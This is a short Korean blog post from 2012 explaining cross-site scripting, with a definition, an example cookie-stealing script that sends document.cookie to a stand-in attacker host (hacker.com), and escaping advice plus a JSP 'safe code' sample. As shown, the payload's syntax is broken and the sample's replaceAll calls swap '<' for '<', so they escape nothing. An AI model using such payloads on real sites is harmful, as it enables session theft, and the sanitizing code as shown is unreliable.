선 밖에 선 자유인

XSS (Cross Site Script) 공격 본문

IT/Security

XSS (Cross Site Script) 공격

Hotman 2012. 1. 26. 16:27

* 정의
웹페이지 게시판이나 웹메일등에 악의적인 스크립트를 포함시켜 사용자측에서 실행되게 하도록 유도하는 공격으로 악의적인 스크립트에 의해 페이지가 깨지거나 다른 사용자의 정상적인 사용을 방해하거나 쿠키 및 기타 개인정보를 특정 사이트로 전송 시키는 피해를 야기한다. 
일반적인 공격형태로는 타 사용자 세션 도용, 악성코드유포등이있으며, 특정 게시물을 클릭 했을 시 브라우저가 계속해서 열리거나 경고 창이 무한 반복되는 것들도 크로스사이트 스크립트 공격의 한 예라 할 수 있다.

스크립트 실행 가능한 게시판에 다음과 같은 구문을 입력한다.

<script>document.cookie.replace("http://www.hacker.com/cookie.php?'+document.cookie+'&'+document.URL))
);</script>

사용자가 해당 게시물을 열람하게 되면 스크립트가 실행되면서 사용자의 쿠키값이 해커의 서버로 전송된다.


* 보안 점검 방법
- html 태그 문자와 '<', '>'가 입력되면 취약점이 발생 하므로 '<' 는 &lt,  '>'는 &gt로 변환한다.
- html 사용시 반드시 필요한 필수적인 태그만을 허용한다.


안전한 코드 예제
<%@page contentType="text/html" pageEncoding="UTF-8"%>





	

XSS Sample

<% String name = request.getParameter("name"); if(name != null){ name = name.replaceAll("<", "<"); name = name.replaceAll(">", ">"); }else{ return; } %>

NAME : <%=name%>

Comments